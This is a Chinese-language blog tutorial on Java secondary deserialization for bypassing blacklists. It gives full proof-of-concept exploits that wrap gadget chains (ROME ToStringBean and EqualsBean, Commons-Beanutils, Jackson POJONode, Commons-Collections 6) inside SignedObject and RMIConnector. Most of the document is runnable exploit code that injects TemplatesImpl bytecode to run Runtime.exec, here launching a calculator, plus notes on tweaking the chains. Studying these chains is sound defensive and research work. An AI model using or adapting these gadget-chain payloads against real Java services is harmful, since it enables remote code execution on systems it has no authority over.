java二次反序列化
二次反序列化一般用于绕过黑名单和解决不出网的问题,二次反序列化一般来说有如下几个常用的利用类:
- SignedObject
- RMIConnector
- WrapperConnectionPoolDataSource
本质上就是借助这些类的某些方法,来实现readObject,给我们原本的反序列化对象做一层包装
SignedObject
1
|
SignedObject#getObject() -> x.readObject()
|

然后看构造方法

传入的object是Serializable对象,这里传入的对象我们可控,然后对传入的对象输入流进行序列化存到变量b,后续对b的内容进行反序列化,所以这里是一个很好的二次反序列化媒介,只需要我们能调用这里的getObject方法就行,不难想到能调用任意getter的几条链,fastjson调用getter要求返回值继承为指定的几个类,这里是Object类型的不满足,所以先看rome链
Rome
toStringBean
之前分析过,这条链调用的getter方法是无参getter就行,显然是满足条件的
这里走最短路线
1
2
3
4
|
SignedObject#getObject()
ToStringBean#toString(String)
ToStringBean#toString()
BadAttributeValueExpException#readObject()
|
要序列化的对象就从利用链中调,这里我就不用cc了,直接rome链上面进行包装
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Hashtable;
public class SignedObjectPOC {private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//防止序列化时提前触发
TemplatesImpl fakeTemplates = new TemplatesImpl();
ToStringBean toStringBean = new ToStringBean(Templates.class,fakeTemplates);
// EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"0d00");
//反射修改ToStringBean的值回恶意templatesImpl
setFieldValue(toStringBean,"_obj",templatesImpl);
//二次反序列化包装
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashtable, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", toStringBean2);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
最关键的其实是中间这部分
1
2
3
4
5
6
7
|
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashtable, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", toStringBean2);
|
前面满足SignedObject构造方法后,用后面toStringbean方法调用SignedObject的getter方法,最后走到BadAttributeValueExpException的readObject,当然这里也是可以走hashmap的,这里用这个只是利用链比较短
equalsBean
基本一样的思路,一样还是用到哈希碰撞的思路
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashtable, kp.getPrivate(), Signature.getInstance("DSA"));
EqualsBean equalsBean = new EqualsBean(String.class,"s");
HashSet hashSet = new HashSet();
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ", signedObject);
hashMap1.put("yy", equalsBean);
hashMap2.put("zZ", equalsBean);
hashMap2.put("yy", signedObject);
hashSet.add(hashMap1);
hashSet.add(hashMap2);
setFieldValue(equalsBean,"_beanClass",SignedObject.class);
setFieldValue(equalsBean,"_obj",signedObject);
|
这里用来包装上面的poc的时候,运行直接弹两次计算器了,好像是因为EqualsBean 会通过反射调用 SignedObject 的所有 getter 方法来进行属性对比。在对比过程中,它分别对“自己包装的对象”和“传入的对比对象”各调用了一次 getObject() 方法。因为这两个对象实际上是同一个 SignedObject,导致内部的恶意数据被反序列化了两次,从而弹出了两次计算器。
CB
没啥说的,依旧包装对象,CB链中调用getter方法只需要最后反射修改BeanComparator中property的值为对应getter方法名,传入的队列为signedObject就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
package com.cbtest;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;
public class SignedObjectCB {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});
//二次反序列化包装
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(priorityQueue, kp.getPrivate(), Signature.getInstance("DSA"));
BeanComparator beanComparator2 = new BeanComparator();
PriorityQueue priorityQueue2 = new PriorityQueue(2,beanComparator2);
priorityQueue2.add(1);
priorityQueue2.add(2);
setFieldValue(beanComparator2,"property","object");
setFieldValue(priorityQueue2,"queue",new Object[]{signedObject,signedObject});
serialize(priorityQueue2);
unserialize("ser.bin");
}
//定义序列化方法
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(o);
}
//定义反序列化方法
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
Object o = in.readObject();
return o;
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
jackson
jackson中的POJONode类中的toString方法能调用getter方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
public class SignedObjectPOC {
private static Unsafe unsafe = null;
public static void main(String[] args) throws Exception {
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
//重写BaseJsonNode
CtClass cc2 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = cc2.getDeclaredMethod("writeReplace");
cc2.removeMethod(writeReplace);
cc2.toClass();
TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
setFieldValue(templatesImpl, "_name", "calc");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException, "val", pojoNode);
//二次反序列化包装
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException2 = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException2, "val", pojoNode2);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(badAttributeValueExpException2);
//反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
Field field = target.getClass().getDeclaredField(fieldName);
long offset = unsafe.objectFieldOffset(field);
unsafe.putObject(target, offset, value);
}
public static byte[] generatePayload() throws Exception{
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return cc.toBytecode();
}
}
|
这里主要是上面部分删除了writeReplace,下面就没必要再删,实际接别的链子的时候还是要删的
1
2
3
4
5
6
7
8
9
10
11
|
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException, kp.getPrivate(), Signature.getInstance("DSA"));
CtClass cc2 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = cc2.getDeclaredMethod("writeReplace");
cc2.removeMethod(writeReplace);
cc2.toClass();
POJONode pojoNode2 = new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException2 = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
setFieldValue(badAttributeValueExpException2, "val", pojoNode2);
|
RMIConnector

关键在于RMIConnector类中的findRMIServerJRMP方法,接收传入的base64,解码后作为序列化对象,然后判断是否有loader,没有loader就直接创建输入流反序列化
查找谁调用了这个方法

可以看到要满足path中以/stub/字符串开头才会调用,然后后面刚好截取6字符后的内容,也就是我们构造/stub/base64字符串就能让findRMIServerJRMP反序列化
继续往上找调用

很明显,我们需要控制的变量就是这里的jmxServiceURL,那就很简单了,反射修改就行了,然后base64直接上恶意的base64就行了
现在就是要想谁调用了connect方法能够接上readObject,直接找太困难了,这里想到CC里面的InvokerTransformer可以用来实现任意方法调用
拿cc6测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
package com.cc6test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class RMIConnectorCC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
lazymap.remove("key");
Class c = LazyMap.class;
Field f = c.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazymap,chainedTransformer);
String s = base64Encode(finalmap);
rmiConnector(s);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
//base64
public static String base64Encode(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String s = Base64.getEncoder().encodeToString(baos.toByteArray());
return s;
}
public static void rmiConnector(String base64) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL,"urlPath","/stub/" + base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
rmiConnector.connect();
}
}
|
后面同样用cc6来调用吧,二次反序列化poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public static void rmiConnector(String base64) throws Exception{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL,"urlPath","/stub/" + base64);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect",null,null);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry t = new TiedMapEntry(lazymap, rmiConnector);
HashMap<Object, Object> finalmap = new HashMap<>();
finalmap.put(t, "value");
lazymap.remove(rmiConnector);
setFieldValue(lazymap,"factory",invokerTransformer);
unserialize(finalmap);
}
|
wrapperConnectionPoolDataSource
C3P0链会学到